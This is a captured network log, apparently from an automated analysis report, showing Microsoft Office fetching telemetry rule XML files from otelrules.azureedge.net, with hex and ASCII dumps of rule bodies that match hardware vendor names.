2024-10-30 19:13:59 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191359Z-16849878b78j7llf5vkyvvcehs00000009m0000000006b7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191359Z-15b8d89586f6nn8zqg1h5suba800000003m000000000mphz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:59 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191359Z-15b8d89586fmc8ck21zz2rtg1w00000005tg00000000179c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:59 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:00 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191400Z-17c5cb586f6ks725u50g36qts800000000eg0000000035fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:00 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191400Z-16849878b78fkwcjkpn19c5dsn00000007g0000000009ktz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:00 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191400Z-r197bdfb6b48pl4k4a912hk2g400000007qg00000000e92n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:00 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191400Z-16849878b786lft2mu9uftf3y400000009t0000000004gfs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191400Z-16849878b78wc6ln1zsrz6q9w8000000087000000000264t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 77b1f39f-101e-0079-106b-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191401Z-15b8d89586fcvr6p5956n5d0rc0000000en0000000004y2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191401Z-r197bdfb6b48pl4k4a912hk2g400000007qg00000000e963 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 41883048-901e-005b-06d9-2a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191401Z-15b8d89586fvpb59307bn2rcac00000003m0000000009f9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:01 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
